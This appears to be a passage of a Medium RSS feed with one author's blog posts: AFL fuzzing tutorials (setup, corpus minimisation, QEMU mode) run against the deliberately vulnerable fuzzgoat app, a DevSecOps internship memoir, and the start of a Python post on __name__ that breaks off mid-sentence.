&lt;&lt;&lt;<br>  cycle 1, lifetime speed 0 execs/sec, path 0/1 (0%)<br>  pending 1/1, coverage 0.13%, no crashes yet<br>Summary stats<br>=============<br>       Fuzzers alive : 4<br>      Total run time : 0 days, 1 hours<br>         Total execs : 0 million<br>    Cumulative speed : 2249 execs/sec<br>       Pending paths : 45 faves, 309 total<br>  Pending per fuzzer : 11 faves, 77 total (on average)<br>       Crashes found : 18 locally unique</pre><h4>Isolating Code to be Fuzzed</h4><p>For a lot of cases, that you might encounter while fuzzing applications, you’d see that your <em>target</em> is a library or a module in an application, and not the whole application itself. To fuzz this one module, running AFL on the whole application hardly seems efficient.</p><p>In such cases, you can isolate the code segment (the module, library) to be tested and run AFL just on it. This will not only make the fuzzing faster but also guarantee that all bugs found will be sourced from the target i.e. no false-positives.</p><h4>Using Custom Parameters</h4><p>AFL comes along with some (nice) assumptions for certain <em>values</em> that it uses to identify crashes and hangs in an application. Timeout and Memory are two of them. Now, if you know certain traits of the target application you’re testing, you can customize how AFL detects crashes, hangs in the application by altering these values with custom ones which, in turn, makes the fuzzing more accurate.</p><p>To set a custom value, which defines when AFL should consider the application has hanged, can be defined explicitly (in milliseconds) with the -t flag in the AFL Fuzzing command structure. Similarly, we can define memory constraints with -m flag.</p><p>Here’s an example of using these commands with the two flags mentioned above:</p><pre>afl-fuzz -i afl_in -o afl_out -t 30 -m 256 -- &lt;instrumented binary&gt; &lt;options&gt; @@</pre><h4>Optimizing the Test Corpus</h4><p>In the last blog, we talked about creating a Test Corpus and why it’s a good idea to select good test cases. But it is fairly common to observe that there are similar test cases in our corpus. Now, if AFL was to go through the same or similar test cases, it’ll obviously cost us more time, so we’d make use of another utility that comes with AFL to tackle this issue. AFL has afl-cmin, which is used to identify test cases that seem similar to AFL in regard to increasing <em>path coverage</em> and remove them from the Corpus.</p><p>The command to use afl-cmin is as mentioned below:</p><pre>root@kali:~/fuzzgoat# afl-cmin -i in -o out -- ./fuzzgoat @@<br>corpus minimization tool for afl-fuzz by &lt;lcamtuf@google.com&gt;<br>[*] Testing the target binary...<br>[+] OK, 82 tuples recorded.<br>[*] Obtaining traces for input files in &#39;in&#39;...<br>    Processing file 1/1...<br>[*] Sorting trace sets (this may take a while)...<br>[+] Found 82 unique tuples across 1 files.<br>[*] Finding best candidates for each tuple...<br>    Processing file 1/1...<br>[*] Sorting candidate list (be patient)...<br>[*] Processing candidates and writing output files...<br>    Processing tuple 82/82...<br>[!] WARNING: All test cases had the same traces, check syntax!<br>[+] Narrowed down to 1 files, saved in &#39;out&#39;.</pre><p>Now, reducing the number of test cases is not enough. At times, the individual test cases might be <em>bloated</em> with unnecessary segments. But AFL has got us covered here as well. We use a similar command as before, just notice that we use afl-tmin this time:</p><pre>afl-tmin -i afl_in -o afl_out -- ./fuzzgoat @@</pre><h3>Miscellaneous: Fuzzing Applications without Source</h3><p>AFL comes with a QEMU mode which allows us to fuzz pre-built binaries (which are not <em>instrumented</em> by AFL). This is a useful tool as one might encounter scenarios where the source to the application isn’t available. Hence, to fuzz such applications we use AFL’s QEMU mode.</p><p>To use this mode, we need to install it separately. It also has a few dependencies. To install and enable QEMU support for AFL, follow the below instructions:</p><ul><li>Installing Dependencies</li></ul><pre>root@kali:~# apt install libtool-bin<br>  root@kali:~# apt install automake<br>  root@kali:~# apt install bison<br>  root@kali:~# apt install libglib2.0-dev<br>  root@kali:~# apt install qemu</pre><ul><li>Enabling/Installing QEMU support for AFL</li></ul><pre>cd afl-2.52b/qemu_mode<br>  ./build_qemu_support.sh<br>  cd ..<br>  sudo make install</pre><p>After we’ve set up everything, all we need to do is add a -Q flag in the usual command structure for AFL and point it to the pre-built binary as follows:</p><pre>afl-fuzz -Q -i afl_in -o afl_out -- &lt;non-instrumented binary&gt; &lt;options&gt; @@</pre><p>You should be greeted by the AFL’s familiar <em>ASCII</em> output screen. From here, the steps are the same as the ones we’d have for fuzzing an instrumented binary.</p><h3>Conclusions</h3><p>We went through some fairly basic methodologies and strategies that we can use to optimize the whole fuzzing process when working with AFL to test applications. There remain a plethora of other ways to still make AFL more efficient, but they go beyond the scope of a small blog.</p><p>We also looked at how can we fuzz applications with closed source i.e. the applications that we do not have access to the source for. It is another handy utility which helps us not having to stop just because we did not have the source of the application to instrument. This method, however, has some drawbacks and results, on various occasions, are not of the same quality as that with an instrumented binary. So, whenever possible, still try to get your hands on the source code.</p><h3>References</h3><ul><li><a href="http://lcamtuf.coredump.cx/afl/">http://lcamtuf.coredump.cx/afl/</a></li><li><a href="https://lcamtuf.blogspot.com/2014/08/binary-fuzzing-strategies-what-works.html">https://lcamtuf.blogspot.com/2014/08/binary-fuzzing-strategies-what-works.html</a></li><li><a href="https://github.com/google/AFL/blob/master/docs/perf_tips.txt">https://github.com/google/AFL/blob/master/docs/perf_tips.txt</a></li><li><a href="https://github.com/fuzzstati0n/fuzzgoat">https://github.com/fuzzstati0n/fuzzgoat</a></li><li><a href="https://medium.com/@ayushpriya10/fuzzing-applications-with-american-fuzzy-lop-afl-54facc65d102">https://medium.com/@ayushpriya10/fuzzing-applications-with-american-fuzzy-lop-afl-54facc65d102</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7ba2c2c8b8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fuzzing Applications with American Fuzzy Lop (AFL)]]></title>
            <link>https://medium.com/@ayushpriya10/fuzzing-applications-with-american-fuzzy-lop-afl-54facc65d102?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/54facc65d102</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[afl]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Sun, 21 Jun 2020 16:18:25 GMT</pubDate>
            <atom:updated>2020-06-21T18:25:03.280Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*_4XPUygDvZCkbZs1.jpg" /></figure><h3>What is Fuzzing?</h3><p>Standard Glossary of Software Engineering Terminology, IEEE, defines fuzzing as:</p><blockquote><em>The degree to which a system or component can function correctly in the presence of invalid inputs or stressful environmental conditions.</em></blockquote><p>Breaking it down into simpler terms, fuzzing is a testing technique for applications in which we pass random, invalid input to the target application. The application is then monitored for <em>unexpected behavior</em>. The unexpected behavior could be the application crashing, memory leakage, etc. that occur for previously unknown niche test cases that go beyond the scope of manual testing.</p><p>One thing to keep in mind is that invalid inputs are supposed to be <em>valid enough</em> that they are accepted by the target application for processing and don’t make the application crash right away. Their task is to help us find the hidden exceptions that are yet to be found within the application.</p><h3>Fuzzers</h3><p>Fuzzers are tools that aid in automating the fuzzing process and allow us to fine-tune various parameters according to the application being targeted.</p><p>Fuzzers can be broadly classified into the following types:</p><ul><li><strong>Mutational</strong><br>Mutational Fuzzers are often called <em>dumb</em> fuzzers. It is so because they try to randomize the input by <em>mutating</em> or changing the seed input cases provided for fuzzing randomly.</li><li><strong>Grammar</strong><br>Grammar Fuzzers are the ones where we define how we want the input to be changed by defining rules about how to mutate the seed input.</li><li><strong>Feedback-based</strong><br>Feedback-based Fuzzers are <em>smart</em> fuzzers which observe how a particular input affects the target binary and then mutates the seed input accordingly to optimize fuzzing.</li></ul><h3>Why Fuzz Applications?</h3><p>Fuzzing, as mentioned earlier, is a testing process to find bugs in an application. Hence, the first goal of fuzzing is to find bugs in the target application that lay outside the scope of manual testing by a human.</p><p>Fuzzing also helps to develop a robust approach to development by incorporating new development strategies to avoid niche bugs found previously by fuzzing of other applications. This can save time and effort in correcting an issue that can be avoided entirely as it has already been observed elsewhere, for example, in a previous iteration of the same application.</p><p>A lot of software vendors also run responsible disclosure programs where one can disclose previously unknown bugs and get rewarded. So, spending some time on finding bugs with automated fuzzers can also make you money by just running a fuzzer on such an application.</p><h3>American Fuzzy Lop</h3><p>American Fuzzy Lop, or AFL for short, is a <em>smart</em> fuzzer. It mutates the seed input, given at the start of fuzzing, to generate new test cases which it <em>thinks</em> will lead to the discovery of new <em>paths</em>.</p><p>Before I explain the above statement, let me introduce you to two terms - code coverage and path coverage. Code Coverage refers to the amount of code that was triggered by a particular test case. Path Coverage refers to the number of potential sequence of code statements (or paths) that were triggered by a test case.</p><p>Let’s take an example. Refer the pseudo-code below:</p><pre>if &lt;condition 1&gt;:<br>    # Statements</pre><pre>if &lt;condition 2&gt;:<br>    # Statements </pre><p>In the above pseudo-code, code coverage could be 100% when different test cases trigger the conditional statements separately. Path Coverage, however, would mean how many of the total execution paths were covered. For this example, the ways in which the conditional statements can be triggered are both, condition 1 and condition 2 individually and then one case when they execute in the same test run sequentially. That gives us a total of 3 paths. Assuming our test cases only trigger the two conditions individually, we’ll get 100% code coverage whereas the path coverage is only 2/3 as we do not have a test case that triggers both conditional statements in the same test run.</p><p>Coming back to the statement we began this section with, AFL takes a set of files (or test cases) that will serve as the seed input to start fuzzing the target. AFL then interacts with the target binary, while it’s processing the input passed to it, and monitors what segment of code was triggered in what sequence i.e. it keeps track of <em>code paths</em> being triggered. Based on the paths being triggered, it <em>mutates</em> the seed files to trigger <em>new</em> code paths, thus increasing path coverage.</p><p>The creator of American Fuzzy Lop, Michal Zalewski, wrote a <a href="https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html">blog</a> describing how smart AFL is. He starts off by creating a file with the word “hello” in it and then tries to pass that as seed input to an application that expects a JPEG image. After initial crashes, AFL figures out what the application is expecting and starts mutating the seed input to produce valid JPEG image files, from what initially was a text file. This demonstrates how impressive AFL is. Do give Michal’s blog a read as it explains in great detail how AFL ended up <a href="https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html"><em>pulling JPEGs out of thin air</em></a>.</p><h3>Fuzzing with AFL</h3><p>AFL is extremely easy to use, as we shall see. There’s a set of steps that we need to go through before unleashing AFL on an application.</p><p>Here’s AFL’s workflow in brief:</p><ul><li>Compiling the binary for the target application with AFL’s compilers to <em>instrument</em> it.</li><li>Building a test corpus (seed test cases) to start the fuzzing process.</li><li>Running AFL on the instrumented binary of the target application.</li><li>Lastly, analyzing results.</li></ul><h4>Installing AFL</h4><p>Installing AFL is quite straight-forward but before we install it, we need to have some prerequisite installed on our system.</p><blockquote><strong><em>Note:</em></strong><em> This setup was tested with Ubuntu 16.04</em></blockquote><p>Let’s start with installing the prerequisites. Follow the commands below to install gcc and clang:</p><pre>sudo apt install gcc<br>sudo apt install clang</pre><p>Now we’ll install AFL with the following commands:</p><pre>wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz<br>tar -xzvf afl-latest.tgz<br>cd afl-2.52b/<br>make<br>sudo make install</pre><p>AFL comes with multiple compilers to <em>instrument</em> binaries (we’ll talk about what <em>instrumenting a binary</em> means) which include the traditional gcc as well as clang and hence, even though after the previous step we’re ready to fuzz applications but the default gcc compiler that comes with AFL is slower compared to other upstream compilers that come with it. AFL leverages LLVM capabilities to make the fuzzing process faster. We can enable LLVM mode in AFL with the following commands:</p><pre>cd afl-2.51b/llvm_mode/<br>sudo apt-get install llvm-dev llvm<br>make<br>cd ..<br>make<br>sudo make install</pre><h4>Setting up a Target</h4><p>Now, we’re ready to fuzz applications, all we need is a target. We’ll use fuzzgoat, which is an intentionally vulnerable application written to demonstrate fuzzing. We can clone fuzzgoat from its repository as follows:</p><pre>git clone https://github.com/fuzzstati0n/fuzzgoat<br>cd fuzzgoat/</pre><h4>Compiling with AFL</h4><p>We start off by compiling the binary for the target application with AFL’s compilers. This is necessary because it allows AFL to add some additional code in the compiled binary which allows AFL to <em>talk</em> to it while it’s running so it can generate new inputs to discover new code paths. The process of including AFL’s additional code in the binary while compiling the application is called instrumentation, the term I promised I’ll explain.</p><blockquote><strong><em>Note:</em></strong><em> The following commands are being run inside the fuzzgoat’s root directory</em></blockquote><p>So, to compile the application with AFL’s compilers, we have to explicitly mention which one to use. Generally, it’s best to stick to afl-clang-fast but one can also use afl-clang-fast++, afl-gcc or afl-g++ depending on the use case. We’ll use afl-clang-fast:</p><pre>export CC=afl-clang-fast</pre><p>Now, depending on the application, we need to compile the application into a binary. For fuzzgoat, we run the below command but there could be some application which requires us to run ./configure before we use the make command to build the binary. Let’s compile fuzzgoat to a binary:</p><pre>make</pre><h4>Building Test Corpus</h4><p>Test Corpus is what I’ve already been talking about since the beginning of this blog, they are ‘seed input files’. They are a set of files (could also be a single file) which are used as the initial input to test the binary. It also serves as the starting point for AFL to mutate it to generate new test files as it sees fit to discover new code paths.</p><p>Although AFL is smart enough to do a lot of heavy lifting for us, including figuring out what could be good test inputs as we saw in Michal’s blog but one should build a good test corpus simply because it makes the whole fuzzing process faster. By giving AFL good initial test cases, it starts off at, say level ‘X’. Now, AFL could very well still have reached ‘X’ starting from a blank text file but the time it took to reach there could’ve been saved. Hence, always try to build good test cases depending upon the target application.</p><p>That being said, I’ll still be using a not-so-good test case, created by piping some random data because:</p><ul><li>This blog is to learn how to work with AFL to fuzz applications</li><li>Building test cases based on the characteristics of an application goes beyond the scope of this blog</li><li>Since, fuzzgoat is intentionally buggy, bad test cases will also yield crashes in a reasonably small period of time</li></ul><p>We’ll first make a directory to keep all our test cases. You can name it anything you like. I’ll name it afl_in:</p><pre>mkdir afl_in</pre><p>Now, let’s add a test case by piping some random, garbage value to the directory we made above:</p><pre>cp /bin/ps afl_in/</pre><h4>Running AFL on Target</h4><p>One last thing before we start fuzzing, we need to make a directory for AFL to store the files that resulted in a crash or a hang. AFL makes three sub-directories inside this folder -crashes holds the test cases which made the application crash, hangs holds the test cases which made the application hang and queue holds the test cases that AFL is yet to test the application with. I’ll name the directory afl_out but again, it can be named anything:</p><pre>mkdir afl_out</pre><p>Finally, to fuzz the application we use the following command:</p><pre>afl-fuzz -i afl_in -o afl_out -- ./fuzzgoat @@</pre><p>Breaking the above command into parts:</p><ul><li>-i afl_in specifies the directory to take the seed test cases from</li><li>-o afl_out specifies the directory where AFL can store all result files for crashes, hangs and queue</li><li>-- separates the target’s command structure. The left side of the separation is where AFL’s flags are passed and the right side is where the target’s run command is, in this case, ./fuzzgoat</li><li>@@ defines the position where AFL is supposed to insert the test file in the target application’s command structure</li></ul><blockquote><strong><em>Note:</em></strong><em> Using </em><em>@@ is not mandatory. AFL can also pass input to the target through </em><em>STDIN.</em></blockquote><p>Running AFL should yield the following interface on your terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TNZEDPfzA0T-ygH7.JPG" /></figure><p>The interface and the information are quite self-explanatory but I’d put some emphasis on certain segments that you should definitely keep an eye on:</p><ul><li>Process Timing Section</li></ul><p>If last new path shows a big duration, it means AFL is unable to find new paths. In this case, make sure that you’re using the <em>instrumented</em> binary and not just a normally compiled binary.</p><ul><li>Overall Results Section</li></ul><p>Let the fuzzer run till it has at least 50 cycles done</p><h4>Analysing Results</h4><p>All that’s left is looking at the results. Let’s navigate to the directory where AFL has kept all the test cases that resulted in crashes or hangs:</p><pre>cd afl_out/</pre><p>Looking inside /crashes or /hangs directories should have files with names resembling (but not the same) as depicted below:</p><pre>~/afl_out<br>    |- /crashes<br>        |- id:000000,sig:11,src:000000,op:int32,pos:52,val:be:+32<br>        |- id:000001,sig:11,src:000000,op:int32,pos:52,val:be:+64<br>        |- id:000003,sig:11,src:000000,op:havoc,rep:32</pre><pre>    --- snipped ---</pre><pre>    |- /hangs<br>    |- /queue</pre><p>Now, we can take a look in these files to see what exactly AFL mutated the seed input to and then figure out why it made the application crash or hang. Finally, it’s on us what we want to do with the bugs we found with AFL.</p><h3>Conclusion</h3><p>In essence, fuzzing is a way to discover undiscovered bugs, and AFL makes it as easy as it can be.</p><p>AFL is a very powerful tool while remaining almost effortless to use. It makes the fuzzing process a matter of a few steps while it takes care of everything in the background.</p><p>Since this blog was meant to be a quick start guide to using AFL, there’s a lot of customization, that AFL provides, which wasn’t covered in this blog. AFL also provides various mechanisms for optimizing the process of fuzzing the target, like parallel fuzzing, optimizing test cases as a set and individually. I’ll write a follow-up blog on how to optimize fuzzing with AFL and also talk about some built-in tools that AFL comes pre-loaded with.</p><h3>References</h3><ul><li><a href="https://www.owasp.org/index.php/Fuzzing">https://www.owasp.org/index.php/Fuzzing</a></li><li><a href="http://lcamtuf.coredump.cx/afl/">http://lcamtuf.coredump.cx/afl/</a></li><li><a href="https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html">https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html</a></li><li><a href="https://github.com/fuzzstati0n/fuzzgoat">https://github.com/fuzzstati0n/fuzzgoat</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54facc65d102" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My experience as an intern learning about DevSecOps at Appsecco.]]></title>
            <link>https://medium.com/appsecco/my-experience-as-an-intern-learning-about-devsecops-at-appsecco-f0aae98c3874?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0aae98c3874</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[intern]]></category>
            <category><![CDATA[ci-cd-pipeline]]></category>
            <category><![CDATA[culture]]></category>
            <category><![CDATA[devsecops]]></category>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Mon, 04 May 2020 13:23:00 GMT</pubDate>
            <atom:updated>2020-05-04T16:33:21.562Z</atom:updated>
            <content:encoded><![CDATA[<h3>My experience as an intern learning about DevSecOps at Appsecco</h3><p>I got a chance to intern at Appsecco for my 8th Semester project on DevSecOps.</p><h3>Introduction</h3><p>For as far as I can remember, I’ve always been interested in computers. Soon enough I got fascinated about security in computers. This interest, however, remained at the backburner while I was in school. Cut to when I got into college, I learned more about how things worked in security. It wasn’t long when I decided that when I graduate from college, I should have a job in the security industry.</p><p>I’ve fortunately had the opportunity to intern as both, a Security Engineer and a DevSecOps Engineer, at different instances. Both times with Appsecco and hence, needless to say, Appsecco has had a big role in helping me achieve my ambitions.</p><h3>Switching sides to the Blue Team!</h3><p>Soon after the summer internship at Appsecco ended, back in college, I found myself looking into all the cool things I learned, and slowly I got more engrossed about how one secures things from the attacks I had just seen in the summer. Since this was my 7th semester, I was looking for 6-month internships and this search soon got me back in touch with Akash. I sent him a mail asking if I could join Appsecco as an intern again, but this time in his team and we got on a call in the following days to discuss certain questions about the internship. Such as what did I expect out of this internship and if I had anything specific in mind that I wanted to work on.</p><blockquote>Having had other interviews, I find the way people at Appsecco deal with interviews, is vastly different in the sense that it is always more of a discussion, not a barrage of do-you-know-X type of questions.</blockquote><p>Shortly after we had a few calls, I received the confirmation of the internship.</p><h3>The Internship</h3><h4>Preparation</h4><p>When I had approached Akash about interning under him and learning about DevSecOps, I had mentioned that I’m a beginner. This, however, was not an issue, Akash was fine with me getting a quick course when I started the internship to get started with basic concepts around the domain that I would need for working on my project.</p><p>Eventually, while there was still some time left before my internship began, I wanted to make use of the spare time I had and get a headstart with the basics. So, I asked Akash if I could help me with resources/tasks to get started and then Sunesh and Akash, after a discussion, gave me a few tasks to revolving around Jenkins, performing Static Application Security Testing (or SAST for short) and create a report for the same. I had multiple calls with Sunesh to talk about my progress and resolve the issues I faced and these tasks saved me some time that I would have otherwise spent in the office learning the basics. I, instead, was able to do more learning about the <em>actual</em> work.</p><h4>The Second First-Day in the Office</h4><p>Though I had already interned at Appsecco once, still on the first day walking into the office was like having the first-day all over again but the moment I walked in the office I was greeted with familiar faces and the butterflies were replaced with a comfort of knowing (almost) everyone. I found took a desk on the Blue-team side of the office this time. Soon we had a quick meeting with everyone for introductions and the rest of the day was spent setting up stuff for the project, a review of what I had done till now, a few formalities, and some catching up with everyone.</p><p>Everyone at Appsecco ends up contributing to each other in some way. Being a small team, I find it really nice that I get to know everyone properly and not superficially. Another good thing that comes out of this is picking up things from others in the team, as I earlier mentioned, in the form of <em>meta-learning</em>. This has led me to become more productive and if nothing else more aware of how well I am performing as per my capabilities.</p><blockquote>Be it from writing To-Do notes, learning keyboard shortcuts on VSCode, or something else.</blockquote><p>One great thing that I experienced that everyone is so welcoming. The team lunches every Friday is where everyone would discuss everything apart from work like TV shows they plan on watching, movie recommendations, book reviews, and a lot more. This group can initially be really intimidating (unintentionally) because of the experience and knowledge they pack as a team, but I’ve come to see them being very receptive to my opinions and views too. They are all ears to understand where my thoughts come from. If they are right, well and good but if they are wrong, they help me understand why which is a critical step towards learning new things.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZ4V1HkWmSfcfrXg1uZNzQ.png" /><figcaption>Yet another Friday Team Lunch!</figcaption></figure><h4>The Project</h4><p>The project that I worked on as part of the internship was to learn how CI/CD pipelines were built and how was security integrated to create application security pipelines. This project was devised by Akash and Sunesh as from an earlier discussion that I had with Akash I had told him that I didn’t have a specific project in my mind. They also took the fact that I was a complete beginner but still wanted to learn more about DevSecOps into account while thinking of this project. Since I was not well-versed with all aspects that went into solving each of the tasks as part of the project, I couldn’t really see the big picture behind the project but as I moved closer towards the completion of the project, I saw it all come together and I could realize how various forms of testing worked together, the significance of different forms of testing and along with that how to utilize the various offerings available on the cloud.</p><p>I was thoroughly walked through various stages of creating a pipeline to test and deploy an application both locally and on the cloud. I was made to do a set up locally to learn the crude hands-on approach to doing things and replicate the task on the cloud to see how cloud made things easier in various instances.</p><p>I learned how to use various forms of deployments when on the cloud as opposed to just using a virtual machine for everything which is how I had set up the pipeline locally. The knowledge of using a service that the cloud provided came in the form of advice and an explanation of why a certain service would be useful than some other approach that I was working towards.</p><p>I was asked to document the steps I had been taking to solve the tasks that I was given. Initially, fresh out of college, the report I was writing felt okay until it was reviewed. After the first review, I had to restructure how I was documenting steps. Akash explicitly mentioned that the report should reflect my individuality and my opinions and decisions. This led me to write every single thing with Sunesh’s overview of whether or not I was writing it properly. After each chapter I wrote, I’d pass on the updated report to Sunesh, he’ll verify it and suggest amendments and after he had taken another look, I’d send it to Akash for further comments. Writing every single action I took, noting each decision I took, adding screenshots, sample outputs, etc. might seem tedious to think of, I probably would have felt the same if I read this out of the blue, but when I was made to do it, I could see that writing steps in the documentation helped me clear things out in many ways. For example, when Sunesh asked me why I chose to do a certain thing with a particular approach and I didn’t have a definitive answer, it helped identify that I was lacking some form of understanding around that concept/task. I doubt I have ever written such a concise report for my college projects, but for this report, I felt amazing after seeing what it turned out to be. If you want, you can have a look at the report <a href="https://jenkins-report.netlify.com/">here</a>.</p><p><a href="https://jenkins-report.netlify.app/">Jenkins Pipeline</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WToA59TujRxMHHNzcnRcuw.jpeg" /><figcaption>My Desk while I worked on Documentation</figcaption></figure><p>The report also helped me identify various assumptions I had made without realizing it. To help me identify the same, I was asked to apply the same pipeline to another application. This shed light on these assumptions and I was able to understand certain constraints that come implicitly with different kinds of applications. Since we are talking about assumptions, there’s a quote that we have framed and kept in the office for everyone to see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*f0j-PCtbXplu1zx1H_BpxA.jpeg" /></figure><p>One thing that was required for me to realize that just building pipelines was not DevSecOps. It was a part of it. Akash and Sunesh made sure that I knew that there are various other aspects that encompass the whole concept of DevSecOps which I certainly feel was an important thing indeed.</p><h4>Contributing to a CTF</h4><p>Along with the internship project, I also got the opportunity to contribute to a CTF for the first time. Riddhi was working with <strong>WINJA CTF</strong>, a women-only CTF, and asked me if I’d be willing to create some challenges. At this point, I had never created any challenge and because of the same a part of me wanted to say no but I remembered the line:</p><blockquote>“If somebody offers you an amazing opportunity but you are not sure you <strong>can do</strong> it, <strong>say yes — </strong>then <strong>learn how to do it later</strong>!”</blockquote><blockquote>- Richard Branson</blockquote><p>Needless to say, I said yes and then created a couple of challenges. I learned about not just the challenges but also how to manage a CTF. The CTF was part of Nullcon 2020 and I as a contributor received a corporate pass to the conference and my stay in during the conference was also looked after!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*TGFONoA25eI9NGgFYxiH9Q.jpeg" /><figcaption>Me and Riddhi during WINJA CTF at Nullcon 2020</figcaption></figure><h4>Nullcon 2020</h4><p>From early February, Akash had asked me what were my plans for Nullcon. At that time I had not received the pass and hence, Akash helped me find alternative ways to get a pass to ensure I was able to attend the conference. Then March came and the whole team flew off to Goa!</p><p>This was my first time attending a security conference and it was an amazing experience. I met some interesting people, learned about a lot of cool things happening, learned a little bit of hardware hacking, conducted a CTF along with the team and the best part was attending the event “Hacker Horror Stories” where seasoned people from the industry shared when they messed up.</p><p>There were parties and after-parties. I saw things I never thought I would. The most memorable would be to see Akash dance. But the coolest bit was when I had a few people approach me and ask me if I was working at Appsecco because I was wearing an Appsecco T-shirt. Contrary to me thinking that when I told them I was just an intern they’d just shrug it off, they were at times more impressed. I distinctly remember one of them saying, “Great place to start!” and I obviously loved it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SwUeMlgr7WdwM6TJzYNGkA.jpeg" /><figcaption>The Appsecco Team at Nullcon 2020</figcaption></figure><h3>The End (?)</h3><p>After returning from Nullcon, the project I was working on was almost complete and I was incorporating final changes. Amidst all this, the outbreak of Novel Coronavirus happened. But Appsecco was very proactive and took measures way ahead of the nationwide lockdown. Akash had a talk with everyone on the team, foreseeing a lockdown, and suggested that everyone travel back to our homes and be with family. This was a very impressionable moment where the team members were put before everything else and the concern was their health. Soon after, I had flown home and my internship was completed, albeit a bit abruptly, at the end of March.</p><p>Though my internship ended in March, my journey with Appsecco continues. I was soon asked to join the team as a fulltime employee to which I said yes right away and as of April 2020, I joined Appsecco as a DevSecOps Engineer and am continuing to learn new things almost on a daily basis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0aae98c3874" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/my-experience-as-an-intern-learning-about-devsecops-at-appsecco-f0aae98c3874">My experience as an intern learning about DevSecOps at Appsecco.</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why do we use `if __name__ == “__main__”:` in Python?]]></title>
            <link>https://medium.com/@ayushpriya10/why-do-we-use-if-name-main-in-python-cb77b95e0ce7?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb77b95e0ce7</guid>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Sun, 24 Nov 2019 07:10:38 GMT</pubDate>
            <atom:updated>2019-12-12T23:10:47.583Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Ukuk905ft5yEH2LdcN0_cQ.png" /></figure><blockquote>Demystifying how to write Modular Code in Python.</blockquote><p>Anyone who has done a decent bit of development with Python, surely at some point, has come across the following syntax:</p><pre>if __name__ == &quot;__main__&quot;:<br>    # Statements</pre><p>I first came across this when I was learning about Flask, the backend framework and though I initially just went along with it, soon enough I was curious to know what exactly did this conditional statement accomplish. Also while working with fellow developers, I realized this particular snippet is something that takes some time to wrap one’s head around. So, I decided I’ll write a short blog on what this conditional statement signifies, why you should and how you can use it when you’re writing your next application.</p><h3>What is Modular Code?</h3><p>Before we begin, we should know a little bit about how python works with modules. A <strong>module </strong>is a snippet of code that can be <em>imported </em>in other scripts and utilized as needed i.e. the file containing the code that is to be imported need not be run explicitly.</p><p>Let’s take an example where we have an application that takes a user’s full name as input and greets him by his first name only. Assume there are two python scripts - main.py and module.py where main.py will have the main body of the application and module.py will contain a <em>helper </em>function which we need to use in the application.</p><p>In module.py we will define a function that extracts the first name of the user and returns it. Here’s what the code looks like:</p><pre># module.py</pre><pre>def extract_first_name(full_name):<br>    # Splits the full name with whitespace as the delimiter<br>    name = full_name.split(&quot; &quot;)</pre><pre>    # Returns the first element i.e. the first name<br>    return name[0]</pre><p>In main.py we’ll have the sequential execution of the steps needed to achieve the broad use of our application, that is, to take someone’s full name and greet him with just his first name. Here’s what the code looks like:</p><pre># main.py</pre><pre># Importing a function from the module we wrote<br>from module import extract_first_name</pre><pre>full_name = input(&quot;Enter your full name: &quot;)</pre><pre>first_name = extract_first_name(full_name)</pre><pre>greeting = &quot;Hello &quot; + first_name + &quot;!&quot;<br>print(greeting)</pre><p>Running main.py will give us the following output:</p><pre>C:\Users&gt; python main.py<br>Enter your full name: Ayush Priya<br>Hello Ayush!</pre><p>As it is evident, the program ran without any errors. So, we just wrote our first custom module and imported it elsewhere as needed. One of the first questions that may have come to your mind after this example is why not have the function inside main.py itself. It’s a valid question too, given there’s not a lot of code in our application right now. But segregating functionality of our application into modules when it has a lot of code makes it cleaner, easier to read and to maintain. It provides a better way to manage the application. Using modular code also helps when we want to reuse code via a module we wrote for one application in another application. For example, you might have written a module that creates a connection to the database and returns an object with which we interact with the database. Now, when we write a new application that requires this functionality, we can reuse the module instead of copy-pasting, or worse, rewriting the same code again.</p><p>Hence, it is a good idea to use custom modules to keep your code clean and manageable when working with large applications. It also gives the added benefit of code reusability.</p><blockquote><strong>Note:</strong> For the application we built above, both the scripts should be in the same directory.</blockquote><h3>The Significance of __name__ and “__main__”</h3><p>While running the code we write, Python does a lot of things in the background. It assigns special attributes to certain segments of the applications. The string &quot;__main__&quot; is one of those special attributes. It is a special name that python assigns to the script that was explicitly run by the developer. From the greeting application we wrote earlier, the application we ran explicitly was main.py and hence, in the background, python assigned the name 